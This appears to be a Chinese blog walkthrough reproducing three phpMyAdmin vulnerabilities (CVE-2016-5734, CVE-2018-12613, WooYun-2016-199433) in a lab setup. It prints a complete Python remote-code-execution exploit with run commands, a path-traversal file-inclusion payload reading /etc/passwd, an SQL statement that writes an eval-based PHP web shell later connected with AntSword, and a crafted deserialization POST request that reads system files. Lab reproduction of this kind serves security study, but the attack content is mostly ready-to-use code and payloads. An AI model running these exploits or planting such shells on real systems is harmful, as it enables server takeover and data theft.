phpmyadmin--CVE-2016-5734--CVE-2018-12613--WooYun-2016-199433

开启环境

CVE-2016-5734

在这里插入图片描述
访问phpmyadmin,并登陆,密码和用户名都是root
第三步漏洞POC

#!/usr/bin/env python
 
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
 
import requests
import argparse
import sys
 
__author__ = "@iamsecurity"
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"
 
    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)
 
    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)
 
    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

上述代码,需要提前复制保存为.py文件,我是提前把它保存到linux的桌面的,名称为13.py,其次,我们要运行该py文件,需要提前进入该py文件所在目录

漏洞利用

利用条件:需要知道数据库账号密码

python 40185.py -u root -p root http://192.168.154.3:8080
# -u 账号   -p 密码 

在这里插入图片描述

python 40185.py -u root -p root -c "system('cat /etc/passwd')" http://192.168.154.3:8080
# -c  命令

在这里插入图片描述

CVE-2018-12613 本地文件包含

本地文件包含
LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once()require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

漏洞复现

查看版本为phpmyadmin 4.8.1
在这里插入图片描述
4.8.1 存在远程文件包含漏洞,网上有poc,复制使用

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在这里插入图片描述
成功读取后,查询phpinfo信息
select “<?php phpinfo();?>”
在这里插入图片描述
得知session为’c3e0f7c6997bc6e398c4039258de5b33’
我这用了cookie-editor插件
在这里插入图片描述
进行拼接命令,成功查看了phpinfo
index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_c3e0f7c6997bc6e398c4039258de5b33
在这里插入图片描述

利用file_get_contents函数写入木马

格式:<?php echo file_get_contents("test.txt");?>
#函数可以把一个字符串写入文件中
select ‘<?php file_put_contents("shell.php","<?php @eval(\$_POST[1]);?>");?>’;
在这里插入图片描述
在这里插入图片描述
拿到新的session进行再次拼接命令,并执行
c3e0f7c6997bc6e398c4039258de5b33 我这不知道为啥没变,但也插进去了
在这里插入图片描述
查看shell.php文件可能已经写入木马文件,用hackbar成功读取phpinfo();文件
在这里插入图片描述
连接中国蚁剑,并得知为普通用户权限
在这里插入图片描述

在这里插入图片描述

WooYun-2016-199433

启动环境和上面一样
出现以下phpmyadmin页面即为成功
在这里插入图片描述
使用bp进行抓包,访问当前页面

在这里插入图片描述
发送到重发器模块进行重发,并重新构造poc发送

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

在这里插入图片描述
复现成功
漏洞成因:
分析源码我们发现setup.php页面存在一个post传入的参数

POST['configuration']

并且对它进行了反序列化操作
流程分析:
1、configuration参数通过 POST传入,被unserialize反序列化成对象

2、反序列化之后,会执行PMA_Config对象的生成

3、$source变量具有文件读取以及命令执行的敏感操作

4、调用getSource()函数取出变量$source 中的值

5、最后通过file_get_contents()函数打开并且读取/etc/passwd文件!
原文链接

  • 20
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值